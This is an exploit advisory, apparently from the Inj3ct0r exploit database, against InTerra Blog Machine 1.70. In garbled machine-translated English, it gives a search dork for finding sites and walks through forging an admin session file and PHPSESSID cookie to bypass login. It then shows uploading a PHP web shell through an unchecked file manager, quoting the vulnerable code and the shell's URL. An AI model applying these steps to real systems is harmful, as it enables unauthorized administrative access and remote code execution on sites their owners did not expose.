InTerra Blog Machine 1.70 Shell

`======================================  
InTerra Blog Machine <= 1.70 get shell  
======================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0   
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1  
  
#[+] Discovered By : Inj3ct0r  
#[+] Site : Inj3ct0r.com  
#[+] support e-mail : submit[at]inj3ct0r.com  
  
Product: InTerra Blog Machine  
Version: 1.70  
Site: Dull.ru  
Dork : "Powered by InTerra Blog Machine"  
  
Authorization. The substitution sesii.  
  
  
PHP code:  
  
//check access   
if(!$_SESSION['admin']){   
header("Location: " . SERVER_ROOT);   
exit;   
}   
  
  
go to / tmp  
  
create sesiyu, 0777 law:  
  
sess_aaec41a3b692b6be0dc292e40b778595  
  
Code:  
  
admin|b:1;  
  
And Cook hammer in your browser.  
  
PHPSESSID=aaec41a3b692b6be0dc292e40b778595  
  
  
After authentication :  
  
http://127.0.0.1/interra/filemanager/  
  
And pour shell. Checks not (:  
lib \ uploader.class.php  
  
PHP code:  
  
function copyFile($name,$destination){   
if(!$result = move_uploaded_file($name,$destination)){   
$result = copy($name,$destination);   
}   
return $result;   
}   
  
http://127.0.0.1/interra/files/shell.php  
  
ThE End =] Visit my proj3ct :  
  
http://inj3ct0r.com  
http://inj3ct0r.org  
http://inj3ct0r.net`